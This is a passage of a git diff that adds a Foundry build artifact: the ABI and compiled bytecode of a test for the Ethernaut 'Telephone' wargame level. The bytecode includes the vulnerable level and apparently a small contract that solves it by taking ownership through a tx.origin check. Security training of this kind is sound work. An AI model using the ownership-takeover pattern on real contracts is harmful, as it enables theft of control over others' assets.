66:9:110","scope":55315,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":110} \ No newline at end of file diff --git a/contracts/out/Telephone.t.sol/TestTelephone.json b/contracts/out/Telephone.t.sol/TestTelephone.json new file mode 100644 index 000000000..03d01d756 --- /dev/null +++ b/contracts/out/Telephone.t.sol/TestTelephone.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506162b3806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b38565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b7b565b620001b3620001fa36600462001c67565b62000a32565b6200020a62000bfd565b604051620001c7919062001d3a565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001dfd565b620001da6200025736600462001eca565b62000eff565b6200019a6200108f565b62000271620011d5565b604051620001c7919062001ee2565b620001b36200029136600462001f48565b620012aa565b62000237620013c9565b620002b8620002b236600462001f66565b620014c3565b6040519015158152602001620001c7565b6200027162001653565b6200019a62001728565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017c1565b620001da62001895565b6200019a6200032f36600462001eca565b620018f5565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001fa2565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fa2565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012aa565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001add565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002043565b90508060018251620009899190620021d3565b815181106200099c576200099c62001fa2565b60200260200101515f0151600281518110620009bc57620009bc62001fa2565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021e9565b90505f81848560405160200162000ad49291906200223b565b60408051601f198184030181529082905262000af49291602001620022e9565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b589085906004016200231b565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021e9565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200196990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200232f565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bc9565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002369565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fa2565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001aeb565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546023546040517f3c48664c0000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201529082166024820152919250821690633c48664c906044015f604051808303815f87803b15801562001192575f80fd5b505af1158015620011a5573d5f803e3d5ffd5b5050602054602154620011d29350620011cc92506001600160a01b039182169116620014c3565b62001a0b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001218906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462001246906200232f565b8015620012955780601f106200126b5761010080835404028352916020019162001295565b820191905f5260205f20905b8154815290600101906020018083116200127757829003601f168201915b505050505081526020019060010190620011f8565b5f80604051620012ba9062001af9565b604051809103905ff080158015620012d4573d5f803e3d5ffd5b5090505f604051620012e69062001b07565b604051809103905ff08015801562001300573d5f803e3d5ffd5b508483604051620013119062001b15565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200134b573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013aa575f80fd5b505af1158015620013bd573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014aa57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014565790505b50505050508152505081526020019060010190620013ec565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200151f575f80fd5b505af115801562001532573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001590575f80fd5b505af1158015620015a3573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001607573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001630919081019062002043565b9050600181511115620016485760019150506200164d565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001696906200232f565b80601f0160208091040260200160405190810160405280929190818152602001828054620016c4906200232f565b8015620017135780601f10620016e95761010080835404028352916020019162001713565b820191905f5260205f20905b815481529060010190602001808311620016f557829003601f168201915b50505050508152602001906001019062001676565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200177f575f80fd5b505af115801562001792573d5f803e3d5ffd5b5050602054602154620017bf9350620017b992506001600160a01b039182169116620014c3565b62001a8a565b565b6008545f9060ff1615620017d9575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001868573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188e919062002387565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200190282436200239f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019c09086908690600401620023b5565b5f60405180830381865afa158015620019db573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a049190810190620023e6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a70575f80fd5b505afa15801562001a83573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a59565b6105e6806200241d83390190565b6101728062002a0383390190565b610ae58062002b7583390190565b611e7a806200365a83390190565b610daa80620054d483390190565b6001600160a01b0381168114620011d2575f80fd5b5f805f6060848603121562001b4b575f80fd5b833562001b588162001b23565b9250602084013562001b6a8162001b23565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bbd5783516001600160a01b03168352928401929184019160010162001b96565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c035762001c0362001bc9565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c355762001c3562001bc9565b604052919050565b5f67ffffffffffffffff82111562001c595762001c5962001bc9565b50601f01601f191660200190565b5f6020828403121562001c78575f80fd5b813567ffffffffffffffff81111562001c8f575f80fd5b8201601f8101841362001ca0575f80fd5b803562001cb762001cb18262001c3d565b62001c09565b81815285602083850101111562001ccc575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d0557818101518382015260200162001ceb565b50505f910152565b5f815180845262001d2681602086016020860162001ce9565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dee57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dd757605f1988850301835262001dc484865162001d0d565b948d01949350918c019160010162001da5565b505050968901969350509087019060010162001d5f565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ebc57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ea65783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e62565b5096890196945050509086019060010162001e24565b509098975050505050505050565b5f6020828403121562001edb575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3b57603f1988860301845262001f2885835162001d0d565b9450928501929085019060010162001f09565b5092979650505050505050565b5f6020828403121562001f59575f80fd5b813562001a048162001b23565b5f806040838503121562001f78575f80fd5b823562001f858162001b23565b9150602083013562001f978162001b23565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fd25762001fd262001bc9565b5060051b60200190565b5f62001fec62001cb18462001c3d565b905082815283838301111562002000575f80fd5b62001a0483602083018462001ce9565b5f82601f83011262002020575f80fd5b62001a048383516020850162001fdc565b80516200203e8162001b23565b919050565b5f602080838503121562002055575f80fd5b825167ffffffffffffffff808211156200206d575f80fd5b818501915085601f83011262002081575f80fd5b81516200209262001cb18262001fb6565b81815260059190911b83018401908481019088831115620020b1575f80fd5b8585015b83811015620021b257805185811115620020cd575f80fd5b86016060818c03601f19011215620020e3575f80fd5b620020ed62001bdd565b8882015187811115620020fe575f80fd5b8201603f81018d136200210f575f80fd5b898101516200212262001cb18262001fb6565b81815260059190911b8201604001908b8101908f83111562002142575f80fd5b6040840193505b82841015620021645783518252928c0192908c019062002149565b84525050506040820151878111156200217b575f80fd5b6200218b8d8b8386010162002010565b8a830152506200219e6060830162002031565b6040820152845250918601918601620020b5565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200164d576200164d620021bf565b5f60208284031215620021fa575f80fd5b815167ffffffffffffffff81111562002211575f80fd5b8201601f8101841362002222575f80fd5b620022338482516020840162001fdc565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227481600585016020880162001ce9565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022b381600a84016020880162001ce9565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022fc81846020880162001ce9565b8351908301906200231281836020880162001ce9565b01949350505050565b602081525f62001a04602083018462001d0d565b600181811c908216806200234457607f821691505b6020821081036200236357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200237a575f80fd5b815162001a048162001b23565b5f6020828403121562002398575f80fd5b5051919050565b808201808211156200164d576200164d620021bf565b604081525f620023c9604083018562001d0d565b8281036020840152620023dd818562001d0d565b95945050505050565b5f60208284031215620023f7575f80fd5b815167ffffffffffffffff8111156200240e575f80fd5b62002233848285016200201056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61056c8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61017d806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b505f80546001600160a01b0319163317905561014f8061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033a2646970667358221220b86ebd26f9674fc55e384407989758f76a275d4f7d7b9c93b63657cb6b9c8e8364736f6c63430008180033608060405234801561000f575f80fd5b506101558061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046100ee565b610042565b005b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff828116600483015283919082169063a6f9dae1906024015f604051808303815f87803b1580156100ab575f80fd5b505af11580156100bd573d5f803e3d5ffd5b50505050505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146100e9575f80fd5b919050565b5f80604083850312156100ff575f80fd5b610108836100c6565b9150610116602084016100c6565b9050925092905056fea26469706673582212206fe8c21aa6cb5980f13492ad9017d2fbd70030acfd0c27381463c144687db99364736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c